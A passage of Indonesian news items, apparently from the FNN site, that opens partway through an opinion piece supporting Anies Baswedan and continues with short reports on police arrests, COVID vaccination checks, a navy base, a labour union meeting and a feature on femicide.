golongan yang ada di seantero Indonesia. Betapa pun dia bergaul dan memiliki kedekatan dengan kalangan agama dan kelompok sosialis sekalipun. Karakter Anies harus ditampilkan sebagai behavior pemimpin yang kuat menjaga kebhinnekaan dan kemajemukan. Lebih dari sekedar menjunjung nasionalisme. Pikiran ucapan dan tindakan seorang Anies yang kuat literasinya itu. Layak dan mampu mewujud pada pengejawantahan nilai Panca Sila dan UUD 1945 secara nyata dalam kehidupan warga Jakarta dan berarti juga buat seluruh rakyat Indonesia. Kesehariaan Anies harus terus dibaluti oleh sikap dan langkah-langkah kongkrit yang membuat rakyat merasa bermakna telah memiliki negara, membuat pemerintahnya melayani dan mengayomi rakyat. Lebih dari itu, Anies yang menggemari sejarah, hendaknya selalu dapat hadir memenuhi kebutuhan warga negara, terhadap kesadaran dan perlindungan konstitusi serta aparatur penyelenggara negara. Sebagai gubernur Jakarta, wilayah kepemimpinan yang identik dengan Indonesia. Anies yang sering diganjar penghargaan karena prestasinya. Telah membuktikan maju kotanya, bahagia warganya. Selanjutnya bersama kepercayaan rakyat, berpeluang menjadikan Indonesia jauh lebih baik. Pemimpin yang dikenal tetap senyum meski sering dibanjiri hujatan dan fitnah. Seperti teguh untuk tetap berorientasi pada kebijakan pemerintah atau negara yang bisa menjadikan kemanusiaan jauh lebih penting dari persoalan apapun dalam dinamika kehidupan rakyatnya. Bahkan aspek hukum harus seiring dan sejalan dengan komitmen dan tujuan yang memanusiakan manusia. Bukan hukum kekuasaan atau bahkan malah hukum yang menjadi alat penindasan bagi rakyat. Anies tidak cukup hanya sekedar cerdas, tenang dan santun. Lebih dari itu, ia juga harus menjadi humanis. Salah satu aspek prinsip dan fundamental yang menjadi syarat seorang pemimpin. Beberapa hal yang mutlak untuk diupayakan, dijaga dan terus menjadi ruhnya negara dan bangsa Indonesia. Kepemimpinan Anies saat ini dan kedepannya. Diharapkan dapat bersandar dan berlandaskan pada apa yang disebut Trisakti oleh Bung Karno. Pertama, berkedaulatan dalam bidang politik. Kedua, kemandirian dalam bidang ekonomi. Ketiga, Berkepribadian dalam kebudayaan bangsa. Kesemua faktor itu, sejauh ini bisa dibilang gagal total atau setidaknya nyaris hilang dari eksistensi keindonesiaan selama ini. Indonesia terus dirundung ketidaksesuaian. Jika ingin menjadi pemimpin yang sesungguhnya, mau tidak mau dan suka atau tidak suka. Anies harus berketetapan hati dan bersungguh-sungguh mewujudkan Indonesia yang sejatinya dituangkan dalam Panca Sila dan UUD 1945 dalam bingkai NKRI. Memang sebagai warisan yang tidak ideal, Indonesia saat ini masih jauh dari nasionalisme yang apinya telah dibuat, ditiup dan dikobarkan oleh para pendiri bangsa dan seluruh rakyat Indonesia. Tapi apapun itu, Anies sebagai pemimpin dapat menjadi harapan dan solusi dari semua kelemahan dan kekurangan negara dan bangsa ini sekalipun. Jika dibutuhkan, untuk mewujudkan negara Indonesia yang sesuai amanat dan cita-cita proklamasi kemerdekaan RI. Anies perlu lebih lagi bekerja cerdas dan bekerja keras serta berkorban dengan segala yang dimilikinya untuk kemajuan serta kebesaran Indonesia. Sebagaimana yang dilakukan saat NKRI dilahirkan oleh para pendahulu bangsa. Bukan hal yang tidak mungkin dan mustahil, Anies Rasyid Baswedan dapat menjadi pemimpin pilihan rakyat. Kepemimpinan yang selama ini hilang dan sulit ditemukan di negeri ini. Kepemimpinan yang terpinggirkan oleh kepentingan politik yang menghamba pada materi dan kesenangan dunia. Semoga. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Direktur ANTARA: Peran SP ANTARA Penting bagi Transformasi Perusahaan

Bogor, FNN - Peran Serikat Pekerja ANTARA (SP ANTARA) penting bagi transformasi perusahaan, baik saat ini maupun di masa depan, kata Direktur Keuangan, SDM, dan Manajemen Risiko Perum Lembaga Kantor Berita Nasional (LKBN) ANTARA Nina Kurnia Dewi. "Peran teman-teman (Serikat Pekerja ANTARA) sangat diperlukan dalam transformasi, baik pada tingkat individu maupun sebagai mitra perusahaan," kata Nina Kurnia Dewi saat membuka Rapat Kerja Nasional (Rakernas) SP ANTARA 2021 secara daring yang diikuti di Ciarua, Puncak, Kabupaten Bogor, Jawa Barat, Jumat (26/11) malam. Rakernas SP ANTARA 2021 dalam situasi pandemi COVID-19 yang diselenggarakan secara luring di "Corporate University BPJS Kesehatan" Cisarua, Puncak, Bogor, 26-28 November 2021 dan daring, dengan mengusung tema "Menjadi Serikat Pekerja yang ber-AKHLAK Dalam Rangka Mewujudkan Hubungan Industrial yang Harmonis" itu, didukung oleh BPJS Kesehatan dan Rumah Sakit PT Pelayaran Nasional Indonesia (PELNI). Hadir dalam pembukaan sekaligus narasumber dalam rakernas itu,perwakilan Direksi BPJS Kesehatan, BPJS Ketenagakerjaan, Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal, Dewas BPJS Kesehatan Siruaya Utamawan, Presiden Asosiasi Serikat Pekerja (ASPEK) Indonesia Mirah Sumirat, dan Direktur Eksekutif Jamkeswatch Iswan Abdullah. Dalam kesempatan itu, Nina Kurnia Dewi menyatakan peran dan kontribusi SP ANTARA penting untuk membawa keberhasilan transformasi di masa kini dan mendatang dengan budaya perusahaan AKHLAK sebagai BUMN. "Semua unsur mesti bahu-membahu, dan semua komponen harus menjadi bagian dalam budaya baru AKHLAK di BUMN," katanya. Tahun 2020 Kementerian BUMN mencanangkan sebuah program budaya perusahaan yang disebut sebagai Akhlak BUMN. AKHLAK merupakan akronim dari Amanah, Kompeten, Harmonis, Loyal, Adaptif, dan Kolaboratif Ia juga menyatakan pada "post pandemi" COVID-19, korporasi membutuhkan terobosan dan perlu keunikan yang berorientasi pada masa depan. "Kita tidak boleh hanya meniru. Kita berubah dengan keunikan dan kebutuhan kita," katanya. Karena itu, semua unsur aktif untuk bersama-sama membangun perubahan transformatif itu. Hal ini membutuhkan kiprah secara aktif dan selaras dengan perubahan dan kemajuan perusahaan. Inovasi-transformasi dengan kreativitas dan cara baru, sekecil apa pun, kata dia, akan membantu kemajuan bersama dengan good corporate governance (GCG) yang baik, dan antisipasi risiko. "Saling mengisi seluruh unsur dan niat baik adalah kunci dalam hubungan industrial yang lebih baik. Karena itu, hubungan komunikasi akan terus dibangun lebih baik," kata Nina Kurnia Dewi. Sementara itu, Dewas BPJS Kesehatan Siruaya Utamawan menyatakan mendukung komitmen SP ANTARA dalam mewujudkan budaya AKHLAK BUMN dalam membangun hubungan industrial yang harmonis. Ia mengatakan bahwa tantangan akan selalu ada, namun jangan pernah kalah dengan tantangan yang ada itu. "Program-program yang baik terus dilakukan. Hubungan industrial yang harmonis hendaknya bisa diwujudkan bersama dan bukan hanya sekadar kata saja," katanya. Presiden KSPI Said Iqbal yang tampil sebagai pembicara ketiga mengingatkan sekaligus menekankan komitmen bersama dalam mewujudkan kemitraan sejajar antara manajemen dan serikat pekerja dalam hubungan industrial yang baik. "Serikat pekerja mewakili pekerja. Dia mewakili banyak orang dalam konteks 'partnership equality' (mitra sejajar)," katanya. Dalam kaitan itu sudah semestinya saat perundingan dengan manajemen, serikat pekerja tidak ditempatkan sebagai karyawan, namun dibangun saling kepercayaan terkait mitra sejajar itu, katanya. Dengan saling percaya antara perusahaan dan wakil pekerja, maka "mutual trust" akan terbangun dengan profesionalitas, terbuka dan terukur, sehingga akan terwujud "partnership equality" tersebut, kata Said Iqbal. Ketua Umum SP ANTARA Abdul Gofur dalam laporannya menyatakan bahwa peserta raker luring di Cisarua menerapkan prokes ketat COVID-19, karena pandemi masih berlangsung. "Jadi, kami mengikuti arahan pemerintah untuk mematuhi prokes agar pandemi segera berakhir," katanya. (mth)

TNI AL Bangun Lanal Sanana di Malut pada 2022

Ternate, FNN - Pangkalan Angkatan Laut (Lanal) Ternate, Maluku Utara (Malut) menyatakan, TNI AL akan membangun Lanal Sanana sekaligus meningkatkan statusnya dari Pos Sanana menjadi Lanal tipe D pada tahun 2022. "Untuk tahun 2022, Pos Sanana akan ditingkatkan statusnya menjadi Lanal tipe D dan dipimpin oleh perwira berpangkat Mayor guna memberikan keamanan di wilayah perairan Sanana di bawah kendali Lantamal XIV TNI AL Sorong dan akan diresmikan Kasal TNI AL," kata Komandan Lanal Ternate, Kolonel Laut (P) Ashari S. Abidin,SE, M.Ter di Ternate, Sabtu. Menurut dia, di wilayah Malut sendiri telah ada dua Lanal yakni Lanal Ternate dan Lanal Pulau Morotai dan tahun 2022 nanti akan bertambah satu Lanal Sanana tipe D yang wilayahnya meliputi perairan Kabupaten Kepulauan Sula dan Pulau Taliabu. Sedangkan, untuk Pos Angkatan Laut (Posal) telah dibangun di Pulau Mayau, Pulau Gebe, Tobelo, Pulau Bacan serta Pulau Gebe. Oleh karena itu, kata Ashari, pihaknya akan perkuat seluruh jajaran personelnya untuk mengasah kemampuan dalam menjaga teritorial. Sebelumnya, pihaknya melakukan kegiatan yang diikuti oleh anggota Lanal Ternate ini dilaksanakan dalam rangka melatih dan membiasakan diri untuk menguasai alat selam, sehingga jika dibutuhkan mampu mengawaki dengan sempurna dan zero accident. Dia mengatakan, latihan yang diawali dengan pemanasan dan pengenalan alat oleh Serka Mes Anan Hi Mursal sekaligus sebagai pelatih selam yang sudah mempunyai sertifikat pelatih dan biasa melaksanakan bantuan pelatihan selam di wilayah Maluku Utara. Untuk itu, dia harapkan agar terus mencurahkan segenap ide, sebagai upaya dan tindakan untuk menjaga laut di wilayah kita dari segala gangguan dan kerusakan serta dapat mendorong masyarakat untuk menggunakan laut dengan sebaik-baiknya. Sedangkan, pada latihan ini, agar semangat dalam berlatih dan menekankan keselamatan dalam latihan. Kemampuan selam Prajurit TNI-AL sangat dibutuhkan untuk mendukung tugas operasi TNI AL termasuk juga melaksanakan tugas sosial dalam bentuk Operasi Militer Selain Perang. Danlanal agar prajurit-prajurit muda tersebut dapat segera menguasai kemampuan selam seperti seniornya sehingga mampu menjadi penyelam-penyelam andal di Lanal Ternate dan Malut. "Kegiatan latihan selam ini akan terus berlanjut dan dilaksanakan secara rutin sehingga Prajurit Lanal Ternate profesional menguasai dan menggunakan peralatan selam," ujarnya. Pada latihan kali ini, Lanal Ternate melibatkan sembilan orang Bintara dan Tamtama Remaja lulusan Satdik Sorong yang baru saja bergabung dengan Lanal Ternate. (mth)

Satgas Nemangkawi Tangkap Pentolan KKB Temianus Magaya Dekai

Jayapura, FNN - Satgas Penegakan Hukum Nemangkawi, Sabtu, menangkap Temianus Magaya, pentolan KKB pelaku sejumlah aksi penembakan dan kekerasan di Dekai, Kabupaten Yahukimo, kata kata Dirkrimum Polda Papua Kombes Pol. Faizal Rahmadani. (sws)

Polresta Banjarmasin Ringkus Sopir dan IRT Edarkan Sabu-Sabu

Banjarmasin, FNN - Kepolisian Resor Kota Banjarmasin jajaran Polda Kalimantan Selatan meringkus seorang sopir dan ibu rumah tangga (IRT) karena mengedarkan narkotika jenis sabu-sabu. "Total ada 3 paket sabu-sabu dengan berat 14,25 gram disita dari kedua tersangka," kata Kasat Resnarkoba Polresta Banjarmasin Kompol Mars Suryo Kartiko, Sabtu. Penangkapan pertama dilakukan terhadap tersangka wanita berinisial SY (35) di Jalan Veteran, Kota Banjarmasin. Polisi menemukan satu paket sabu-sabu dengan berat 4, 58 gram. Kemudian sang sopir JR (26) ditangkap kemudian di Jalan Sutoyo S Gang Sepakat, Kota Banjarmasin yang melakukan transaksi dua paket sabu-sabu dengan berat keseluruhan 9,67 gram. Mars Suryo menyatakan pihaknya masih melakukan pengembangan untuk bisa mengungkap jaringan bandar yang mengendalikan kedua tersangka. Diakui dia, keduanya hanyalah sebagai kurir yang kerap mendapat perintah untuk menjualkan sabu-sabu jika ada pesanan. Kini kedua tersangka ditahan dan masing-masing dijerat Pasal 112 ayat 1 Undang-Undang RI Nomor 35 tahun 2009 tentang Narkotika untuk SY, sementara JR dikenakan Pasal 112 ayat 2 Undang-Undang RI No 35 tahun 2009 tentang Narkotika. "Jaringan pengedar kerap memanfaatkan ibu rumah tangga dan warga dari ekonomi kurang mampu untuk dijadikan kurir, makanya kami ingatkan masyarakat jangan sampai terjerumus bujuk rayu bisnis haram narkoba," ucap Mars Suryo mengingatkan. (sws)

Polda Malut Jaring 102 Orang Belum Vaksin

Ternate, FNN - Kepolisian Daerah Maluku Utara (Polda Malut) mencatat sedikitnya 102 orang belum menjalani vaksinasi COVID-19 pada hari pertama pelaksanaan razia vaksin. Kabid Humas Polda Malut Kombes Pol. Adip Rojikan di Ternate, Sabtu, menjelaskan pada hari pertama pelaksanaan razia ini Polda Malut bersama dengan TNI, dinas kesehatan, dinas perhubungan, dan satpol PP telah berhasil melaksanakan vaksin kepada masyarakat yang tiba dan berangkat menggunakan transportasi laut sebanyak 102 orang. Dari jumlah tersebut yang belum menjalani vaksin itu, kata dia, dosis pertama sebanyak 84 dosis dan dosis kedua sebanyak 18 dosis. Kombes Pol. Adip Rojikan menyebutkan di Pelabuhan Semut Mangga Dua tercatat 35 orang terdiri atas mereka yang menjalani vaksinasi dosis pertama 29 orang dan dosis kedua enam orang. Sementara itu, pelaksanaan vaksin di Pelabuhan Dufa-Dufa tercatat 10 orang, kesemuanya menjalani vaksinasi dosis pertama; pelabuhan speed kota baru sebanyak 57 orang (dosis pertama 45 orang dan dosis kedua 12 orang). Ia mengatakan bahwa jadwal vaksinasi di pelabuhan ferry pada keesokan harinya karena adanya keterbatasan tenaga kesehatan KKP. "Kegiatan razia ini sampai dengan 6 Desember 2021. Jadi, bagi masyarakat yang hendak tiba dan berangkat menggunakan jasa transportasi laut terlebih dahulu harus divaksin," ujarnya. Dalam kegiatan ini, petugas akan memeriksa sertifikat vaksin para penumpang, orang yang sudah vaksin bisa menunjukkan kartu vaksin atau bisa melalui aplikasi PeduliLindungi kepada petugas. Bagi penumpang yang belum divaksin akan langsung diarahkan kepada petugas vaksin dan yang punya riwayat penyakit dapat dibuktikan dengan surat keterangan dokter bahwa yang bersangkutan tidak bisa divaksinasi. Ia menegaskan pula bahwa pelaksanaan vaksinasi ini menindaklanjuti Inmendagri Nomor 61 Tahun 2021 tentang PPKM Level 3, Level 2, dan Level 1 serta mengoptimalkan posko penanganan COVID-19 di tingkat desa/kelurahan untuk pengendalian penyebaran COVID-19. "Semoga saja dengan lebih gencarnya melakukan sosialisasi, masyarakat di Malut akan makin menyadari bahwa vaksin tersebut penting untuk diri sendiri," ujarnya. Namun, dia mengingatkan bahwa masyarakat tetap menerapkan protokol kesehatan agar terhindar dari virus COVID-19 meskipun telah menjalani vaksinasi. (sws)

Saatnya Sadar Bahaya Femisida di Indonesia

Jakarta, FNN - Tewasnya seorang istri akibat disiram air keras oleh suaminya, yang terjadi di Cianjur, Jawa Barat, bulan ini, merupakan kasus berulang yang tidak jarang ditemukan pada judul-judul berita media massa. Kasus pembunuhan semacam itu sering kali menjadikan para perempuan sebagai korban, baik dalam perannya sebagai seorang istri, anak, pacar, maupun pekerja. Banyak pihak, termasuk kepolisian, sejauh ini menempatkan kasus itu pada pembunuhan biasa. Pelaku ditetapkan sebagai tersangka, kemudian dihukum sebagaimana vonis pengadilan. Namun, mengapa hampir tak ada efek jera? Pembunuhan yang menargetkan perempuan kerap kali terjadi dan alasannya pun sering kali tidak jauh berbeda antara satu kasus dengan yang lain, misalnya karena cemburu dan diminta cerai oleh pasangannya. Jika merujuk pada penanganan yang saat ini berjalan, kasus-kasus pembunuhan yang menargetkan perempuan kemungkinan kembali terjadi ke depan karena kurangnya langkah-langkah pencegahan yang seharusnya oleh aparat penegak hukum bersama berbagai kelompok masyarakat. Langkah-langkah pencegahan itu hampir sulit ditemukan, salah satu penyebabnya karena banyak pihak belum memahami bahwa pembunuhan yang sengaja menargetkan perempuan bukan kejahatan biasa. Di belahan dunia yang lain, fenomena itu diberi nama femisida. Istilah itu diperkenalkan pertama kali pada tahun1801 oleh John Corry, seorang sejarawan dan pembuat peta topografi asal Inggris. John, lewat bukunya berjudul A Satirical View of London at the Commencement of the Nineteenth Century menggunakan istilah femisida untuk menyebut pembunuhan terhadap perempuan. Istilah itu lanjut dipakai oleh beberapa sastrawan dan pemikir di negara-negara maju sekitar 1970-an. Diana E.H. Russel, seorang penulis dan aktivis kelahiran Cape Town, Afrika Selatan, membuat rumusan definisi femisida yang lebih lengkap. Diana bersama aktivis perempuan lainnya, Nicole van Den Ven, memperkenalkan istilah femisida secara terbuka ke publik pada sebuah forum persidangan terbuka The International Tribunal on Crimes Against Women di Brussels, Belgia, pada tahun 1976. Ia merumuskan femisida adalah pembunuhan yang menargetkan perempuan atas dasar kebencian, perlakuan merendahkan, kesenangan, rasa kepemilikan, dan sikap-sikap yang misoginis. Definisi itu oleh Diana kemudian disederhanakan pada tahun 2012 saat berpidato di Simposium PBB tentang Femisida. Femisida kemudian banyak dipahami sebagai pembunuhan yang menargetkan satu atau lebih perempuan hanya karena jenis kelamin/gender mereka. Rumusan Komnas Perempuan Berselang 9 tahun sejak istilah femisida diperkenalkan secara luas dalam forum PBB, Komisi Nasional Antikekerasan terhadap Perempuan (Komnas Perempuan) mulai merumuskan pengertian femisida yang merujuk pada situasi di Indonesia. Komnas Perempuan, dalam hasil kajian awal dan kertas kebijakan yang diluncurkan minggu ini, merumuskan pengertian femisida sebagai pembunuhan yang dilakukan secara sengaja terhadap perempuan karena jenis kelamin atau gendernya, yang didorong oleh adanya perasaan superior, dominasi, maupun misogini terhadap perempuan, rasa memiliki terhadap perempuan, ketimpangan kuasa, dan kepuasan sadistik. Frasa kata "secara sengaja" dibuat oleh Komnas Perempuan dengan tujuan agar femisida ditempatkan dalam konteks hukum pidana, khususnya Pasal 340 Kitab Undang-Undang Hukum Pidana (KUHP). Ketua Komnas Perempuan Andy Yentriyani, saat meluncurkan hasil kajian awal, menyampaikan rumusan definisi itu merupakan upaya memperkenalkan femisida kepada masyarakat Indonesia, termasuk kepada para penegak hukum. Jika wawasan terkait dengan femisida mulai tumbuh, Andy berharap para korban atau setidaknya calon korban dapat melaporkan kekerasan yang ia alami ke kepolisian, sehingga mereka tidak berakhir sebagai korban. Komnas Perempuan berharap hasil kajian awal dan rumusan definisi femisida itu juga dapat mendorong aparat penegak hukum dan para pihak untuk aktif menyikapi persoalan tersebut. Femisida di Indonesia Komnas Perempuan lewat pemantauan media pada tahun 2018—2020 menemukan berbagai macam kasus femisida yang kemudian itu dikategorisasi jadi sembilan jenis femisida. Komnas Perempuan memantau sembilan jenis femisida, yaitu femisida intim, femisida budaya, femisida dalam konteks konflik bersenjata, femisida dalam komteks industri seks komersial, femisida terhadap perempuan dengan disabilitas, femisida karena orientasi seksual dan identitas gender, femisida di penjara, femisida nonintim, dan femisida pada penggiat HAM/penggiat kemanusiaan. Femisida intim, yang dipahami sebagai pembunuhan perempuan oleh suami, mantan suami, pacar, mantan pacar, atau pihak lainnya, tidak sulit ditemukan terjadi di berbagai daerah di Indonesia. Menurut data Komnas Perempuan, jumlah kasus femisida intim di Indonesia menempati urutan teratas (263 kasus), kemudian diikuti oleh femisida nonintim 131 kasus, femisida yang tidak teridentifikasi 13 kasus, femisida konteks industri seks komersial 8 kasus, femisida perempuan disabilitas 3 kasus, femisida budaya 2 kasus, dan femisida karena orientasi seksual 1 kasus. Dalam penelusuran cepat di mesin pencari Google, ada lebih dari 6.000.000 hasil pencarian untuk kata kunci "suami bunuh istri" dalam waktu 0,35 detik. Sementara itu, kata kunci "perempuan dibunuh" mengeluarkan lebih dari 8.000.000 hasil pencarian dalam waktu 0,32 detik. Untuk kata kunci "perempuan dibunuh pacar", ada 671.000 hasil pencarian dalam waktu 0,30 detik. Alasan pembunuhan dari hasil penelusuran itu bervariasi. Hasilnya sejalan dengan temuan Komnas Perempuan yang memetakan femisida terjadi, antara lain karena cemburu, dendam/sakit hati, menolak berhubungan seksual, masalah utang/piutang, pengancaman, perselingkuhan, cinta ditolak, permasalah rumah tangga, pekerjaan, perceraian, motif ekonomi, pertengkaran/cekcok, gangguan jiwa, ketersinggungan maskulinitas, ritual, pemerkosaan, pencurian, kehamilan yang tidak diinginkan, menolak untuk rujuk, dan didesak untuk menikah. Meskipun Komnas Perempuan baru mengeluarkan hasil kajian awal, temuan-temuan dan rumusan mengenai femisida patut jadi perhatian bersama karena deretan kasus yang ada menunjukkan pembunuhan terjadi secara terpola dan menargetkan korban karena mereka adalah perempuan. Jika kesadaran itu tumbuh dan mulai ada pemahaman bahwa femisida merupakan problem yang perlu dihapuskan, maka ada harapan ke depan para pembuat kebijakan akan mulai memikirkan cara-cara pencegahan, penanganan, dan tentunya pemulihan bagi keluarga korban. (sws)

Polda Kalbar Gelar Lomba Orasi Unjuk Rasa

Pontianak, FNN - Kepolisian Daerah Kalimantan Barat menggelar lomba orasi unjuk rasa Piala Kapolri tahun 2021 yang diselenggarakan 2 sampai 5 Desember 2021 di Lapangan SPN Pontianak dalam rangka memperingati Hari HAM sedunia. Kepala Bidang Humas Polda Kalbar Kombes (Pol) Donny Charles Go di Pontianak, Sabtu mengatakan, pemenang lomba orasi yakni juara pertamanya akan mengikuti lomba tingkat pusat di Jakarta pada 10 Desember 2021. "Tujuan diselenggarakannya lomba orasi piala Kapolri ini untuk memberikan ruang kepada masyarakat dalam menyampaikan aspirasi dan ekspresinya namun memiliki nilai edukasi bagi masyarakat," ujarnya. Masyarakat diharapkan memahami tentang cara menyampaikan aspirasi sesuai dengan aturan dan hukum yang berlaku untuk menghargai hak-hak orang lain. Menurut Donny, lomba orasi tersebut juga bertujuan meningkatkan hubungan Polri dan masyarakat yang biasanya selalu kontak langsung di lapangan. Dalam lomba ini, Polri mengusung tema "Memperingati Hari Hak Asasi Manusia" dan membebaskan para peserta untuk menentukan isu yang ingin disampaikan dalam orasi berisi kritik dan masukan yang bersifat membangun. "Para peserta akan diseleksi untuk mengikuti lomba di tingkat Polda. Peserta yang meraih peringkat pertama akan masuk ke tingkat Mabes Polri mewakili Provinsi Kalbar," ujarnya. Semua masyarakat boleh ikut, mulai dari mahasiswa, organisasi masyarakat maupun buruh, dan setiap tim orasi beranggotakan lima sampai 13 orang. Pendaftaran lomba orasi dibuka mulai tanggal 25 sampai 30 November 2021. Setelah melaksanakan lomba di tingkat Polda, tanggal 5 Desember peserta yang mendapat juara 1 akan dikirim ke tingkat pusat dalam bentuk video aksi orasi untuk diseleksi. Jika terpilih dalam 6 tim terbaik dari 34 tim masing-masing provinsi nantinya akan tampil langsung di tingkat pusat untuk memperebutkan Piala Kapolri pada 10 Desember mendatang. Dengan memperebutkan hadiah sebesar Rp50 juta untuk juara pertama, kemudian, Rp30 juta untuk juara kedua dan Rp20 juta bagi peserta juara ketiga. "Polda Kalbar menyiapkan hadiah sebesar Rp5 juta untuk juara pertama, kemudian Rp3 juta untuk juara kedua, dan Rp2 juta bagi peserta juara ketiga ditambah dengan tropi serta piagam," kata Donny. Kegiatan ini merupakan komitmen dari Polri yang sangat menghargai aspirasi-aspirasi dari masyarakat yang merupakan salah satu dari hak asasi manusia, hal itu sebagaimana diatur dalam Undang-Undang Dasar (UUD) 1945 Pasal 28 dan UU Nomor 9 tahun 1998 tentang Kemerdekaan Menyampaikan Pendapat Dimuka Umum. "Polri selalu menghormati dan menghargai hak asasi manusia dalam bentuk mengawal demokrasi dengan melindungi warga negara yang menyampaikan pendapat di muka umum," katanya. (sws)

Polres Lebak Tangkap Tiga Pelaku Pengeroyokan Pelajar SMK

Lebak, FNN - Kepolisian Resor (Polres) Lebak, Polda Banten menangkap tiga pelaku pengeroyokan pelajar SMK Setiabudhi Rangkasbitung hingga korban meninggal dunia. "Kami kurang lebih dari 1x24 jam berhasil menangkap pelaku pengeroyokan pelajar itu," kata Kapolres Lebak Ajun Komisaris Besar Polisi Teddy Rayendra, di Lebak, Jumat. Kasus pengeroyokan pelajar SMK Setiabudhi Rangkasbitung RG (15), warga Tambakbaya, Kecamatan Cibadak, Kabupaten Lebak meninggal dunia akibat sabetan senjata tajam jenis celurit. Pelaku berinisial RH (21), AW (20), dan SG (18) sudah ditetapkan tersangka pengeroyokan yang mengakibatkan orang lain meninggal dunia. Pengungkapan kasus pengeroyokan itu setelah polisi melakukan investigasi di lapangan. Berdasarkan keterangan saksi di tempat kejadian perkara (TKP) yang melihat pelat nomor kendaraan pelaku, sehingga tim penyidik berhasil mengidentifikasi pelaku berada di wilayah Malingping. Petugas juga mencari saksi-saksi video CCTV yang ada di sepanjang jalan untuk mengetahui identitas pelaku, serta memetakan sekolah-sekolah mana yang sering melakukan tawuran. "Kami mengapresiasi petugas di lapangan hanya kurang dari 1x24 jam ketiga pelaku berhasil ditangkap," kata Kapolres. Kapolres menyampaikan tersangka RH (21), AW (20), dan SG (18), berhasil ditangkap di rumahnya masing-masing dan tidak melakukan perlawanan. Kejadian tersebut berawal para pelaku hendak tawuran dengan sekolah di Pandeglang, namun tidak terjadi. Selanjutnya, pelaku AW mendapatkan informasi bahwa ada pelajar SMK Setiabudhi Rangkasbitung yang tengah berada di wilayah Gunung Kencana. Mendengar keterangan itu, para pelaku menuju wilayah Kecamatan Gunung Kencana untuk mencari siswa (korban) tersebut. Para pelaku dikenakan Pasal 170 ayat 2 ke (3) KUHP dan atau Pasal 351 ayat (3) KUHP dan atau Pasal 76C jo Pasal 180 UU RI Nomor 35 Tahun 2014 atas Perubahan UU RI Nomor 23 Tahun 2002 tentang Perlindungan Anak dengan ancaman 15 tahun penjara. Kabid Humas Polda Banten AKBP Shinto Silitonga mengucapkan turut belasungkawa. "Kami turut berduka cita atas meninggalnya korban, semoga keluarga tetap diberi penghiburan dan kesabaran," kata Shinto. (sws)

Polres Trenggalek Siagakan 900 Personel Jelang Kunjungan Presiden

Trenggalek, Jatim, FNN - Polres Trenggalek, Polda Jawa Timur menyiagakan 900 personel keamanan dari unsur kepolisian maupun TNI menjelang kunjungan Presiden Joko Widodo untuk meresmikan Bendungan Tugu, Trenggalek, Selasa (30/11). "Kami bersama-sama rekan TNI mempersiapkan keamanan, terutama saat kedatangan Presiden pada 30 November nanti," kata Kapolres Trenggalek AKBP Dwiasi Wiyatputera, di Trenggalek, Jumat. Mereka akan disiagakan di beberapa titik untuk menunjang kelancaran dan keamanan kegiatan tersebut. "Nantinya ada pengamanan sepanjang jalan ke lokasi, kami dengan TNI akan bersinergi untuk keamanan. Untuk pengamanan kami menyiapkan 900 anggota dari TNI-Polri," ujarnya pula. Saat ini, pihaknya terus melakukan evaluasi keamanan secara keseluruhan. Salah satunya dengan melakukan cek rute dan lokasi pengamanan. Cek rute itu meliputi akses jalan yang akan dilalui Presiden Jokowi dan rombongan beserta jalur alternatifnya, termasuk landasan helikopter. Kabar rencana kunjungan Presiden Jokowi ke Kabupaten Trenggalek untuk meresmikan Bendungan Tugu saat ini, sudah menyebar di kalangan masyarakat Trenggalek. Namun, pihak Balai Besar Wilayah Sungai (BBWS) Brantas sejauh ini belum bisa memastikan jadwal kunjungan Presiden itu, dengan mengingat jadwal yang mereka terima dari Setneg (Sekretariat Negara) masih bersifat tentatif. "Kalau soal itu (pelaksanaan peresmian), kami belum bisa memastikan kapannya, kami masih menunggu informasi lebih lanjut dari pusat. Namun yang jelas bendungan ini sudah siap sewaktu-waktu untuk diresmikan," kata Pejabat Pembuat Komitmen Bendungan Tugu Yudha Tantra Ahmadi. Dia menyatakan saat ini pembangunan Bendungan Tugu sudah selesai 100 persen dan siap diresmikan kapan pun. Menurutnya lagi, pekerjaan inti secara keseluruhan sudah rampung 100 persen. Saat ini, pelaksana hanya merapikan saja, seperti di lereng kanan "spill way". Pengisian awal waduk (impounding) juga telah dilakukan sejak 21 September lalu. "Tapi kami sudah siap, karena tidak mengganggu prosesi peresmian. Secara keseluruhan kami sudah siap semua," kata Yudha. (sws)

Lapas Semarang Ungkap 152 Gram Sabu-Sabu Dilempar dari Luar Tembok

Semarang, FNN - Petugas Lembaga Pemasyarakatan (Lapas) Kelas I Semarang mengungkap upaya penyelundupan 152 gram narkotika jenis sabu-sabu yang dilempar dari luar tembok penjara, Jumat. Kalapas Kelas I Semarang Supriyanto dalam siaran pers, di Semarang, Jawa Tengah mengatakan, upaya penyelundupan sabu-sabu dalam 2 bungkusan plastik tersebut, terungkap ketika petugas sedang melakukan kontrol keliling di area antara tembok terluar lapas dan tembok blok hunian. "Petugas menemukan dua bungkusan plastik berwarna hitam dan merah," katanya pula. Saat dicek, kata dia, di dalamnya didapati dua klip sabu-sabu serta 4 buah batu baterai yang diduga digunakan sebagai pemberat saat dilempar. Temuan tersebut, kata dia, kemudian dilaporkan ke Polrestabes Semarang untuk penanganan lebih lanjut. Supriyanto menegaskan upaya menyelundupkan narkotika dengan cara melempar dari luar tembok penjara tidak akan berhasil. Menurut dia, terdapat area yang menjadi sekat antara tembok terluar penjara dengan blok hunian warga binaan. "Barang terlarang itu tidak akan sampai karena jarak blok hunian terlalu jauh," katanya. (sws)

Tim Gabungan Tangkap Tahanan Kabur Polres Batanghari di Lahat

